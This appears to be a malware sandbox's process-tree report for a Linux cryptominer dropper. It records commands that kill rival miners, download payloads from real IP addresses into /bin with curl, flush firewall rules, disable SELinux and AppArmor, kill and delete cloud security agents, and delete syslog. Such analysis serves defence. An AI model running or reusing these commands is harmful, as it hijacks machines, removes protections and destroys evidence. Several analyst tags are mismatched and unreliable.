- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f t-rex2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f lolminer2⤵
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f pheonixminer2⤵
-
-
/usr/bin/pgreppgrep -f bminer2⤵
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f gminer2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/pgreppgrep -f teamredminer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f nanominer2⤵
- Reads CPU attributes
-
-
/usr/bin/pgreppgrep -f srbminer2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /dev/shm -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind /var/tmp -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind . -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind .. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind ../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*xmrig*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*minerd*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*cpuminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*ethminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nbminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*t-rex*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*lolminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*pheonixminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*bminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*gminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*teamredminer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*nanominer*" -type f2⤵
-
-
/usr/bin/findfind ../../.. -maxdepth 3 -name "*srbminer*" -type f2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/bin/rmrm -rf /tmp/afb9d13c3ff99bd200e1d08b90e80ca5d46f218881b8de66c87fc6cb104737d52⤵
-
-
/bin/rmrm -rf "/var/tmp/*"2⤵
-
-
/bin/rmrm -rf "/dev/shm/*"2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/usr/bin/touchtouch /bin/.wtest2⤵
- Writes file to system bin folder
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://45.74.7.234/assets/img/uploads/ksmd2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/ksmd2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/ksmd http://87.229.64.49/static/js/vendor/ksmd2⤵
- Writes file to system bin folder
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_707.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_707.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
-
-
/bin/gunzipgunzip -c /bin/.log_707.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_707.gz2⤵
-
-
/bin/rmrm -f /bin/.log_707.gz2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_707.gz2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_707.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_707.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
-
-
/bin/gunzipgunzip -c /bin/.log_707.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_707.gz2⤵
-
-
/bin/rmrm -f /bin/.log_707.gz2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_707.gz2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/javab2⤵
-
-
/bin/rmrm -f /bin/.log_707.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/.log_707.gz http://87.229.64.49/static/js/vendor/log.gz2⤵
- Writes file to system bin folder
-
-
/bin/gunzipgunzip -c /bin/.log_707.gz2⤵
- System Network Configuration Discovery
-
-
/bin/gzipgzip -d -c /bin/.log_707.gz2⤵
-
-
/bin/rmrm -f /bin/.log_707.gz2⤵
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/rmrm -f /bin/javab /bin/.log_707.gz2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/javab http://87.229.64.49/static/js/vendor/javab2⤵
- Writes file to system bin folder
-
-
/usr/bin/trtr -d "[:space:]"2⤵
-
-
/usr/bin/wcwc -c2⤵
-
-
/bin/sleepsleep 22⤵
-
-
/bin/rmrm -f /bin/idle2⤵
-
-
/usr/bin/curlcurl -fsSLk --connect-timeout 15 --max-time 60 -o /bin/idle http://87.229.64.49/static/js/vendor/idle2⤵
- Writes file to system bin folder
-
-
/bin/lsls -lh /bin/ksmd /bin/javab /bin/idle2⤵
-
-
/usr/bin/idid -u2⤵
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
-
-
/bin/rmrm -rf "/tmp/addres*" "/tmp/walle*" /tmp/keys2⤵
-
-
/bin/rmrm -f /var/log/syslog2⤵
-
-
/bin/syncsync2⤵
-
-
/bin/grepgrep -i "[a]liyun"2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/bin/grepgrep -i "[y]unjing"2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
-
-
/usr/sbin/serviceservice apparmor stop2⤵
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads runtime system information
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep Yun2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep hids2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
- Reads runtime system information
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep cloudwalker2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs rm -rf2⤵
-
/usr/local/sbin/rmrm -rf3⤵
-
-
/usr/local/bin/rmrm -rf3⤵
-
-
/usr/sbin/rmrm -rf3⤵
-
-
/usr/bin/rmrm -rf3⤵
-
-
/sbin/rmrm -rf3⤵
-
-
/bin/rmrm -rf3⤵
-
-
-
/usr/bin/xargsxargs dirname2⤵
-
/usr/local/sbin/dirnamedirname3⤵
-
-
/usr/local/bin/dirnamedirname3⤵
-
-
/usr/sbin/dirnamedirname3⤵
-
-
/usr/bin/dirnamedirname3⤵
-
-
-
/usr/bin/awkawk "{print \$11}"2⤵
-
-
/bin/grepgrep titanagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep edr2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep aegis2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep Yun2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep hids2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep cloudwalker2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep titanagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep sgagent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep barad_agent2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep hostguard2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "{}" kill -9 "{}"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep httpgd2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/pkillpkill -9 -f "kworker_u8_0|xmrig"2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/rmrm -rf /usr/local/aegis2⤵
-
-
/bin/sleepsleep 12⤵
-
-
/usr/bin/chattrchattr -i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
-
-
/usr/bin/chattrchattr -i /usr/bin/kswaped2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/irqbalanced2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/rctlcli2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/systemd-network2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr -i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/ip6network2⤵
- Removes the immutable protection flag from a file
- System Network Configuration Discovery
-
-
/usr/bin/chattrchattr +i /usr/bin/kswaped2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/irqbalanced2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/rctlcli2⤵
-
-
/usr/bin/chattrchattr +i /usr/bin/systemd-network2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/chattrchattr +i /usr/bin/pamdicks2⤵
- Removes the immutable protection flag from a file
-
-
/bin/sleepsleep 12⤵
-
-
/bin/rmrm -f /tmp/.null2⤵
-
-
/sbin/sysctlsysctl -w "vm.nr_hugepages=128"2⤵
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep "kworker -c\\"2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep log_2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep systemten2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
- Reads runtime system information
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
-
-
/bin/killkill -9 103⤵
- Disables SELinux
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep netns2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Discovers running processes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep voltuned2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
- Reads CPU attributes
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
/usr/bin/awkawk "{print \$2}"2⤵
-
-
/bin/grepgrep darwin2⤵
-
-
/bin/grepgrep -v grep2⤵
-
-
/bin/psps aux2⤵
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Removes the immutable protection flag from a file
-
-
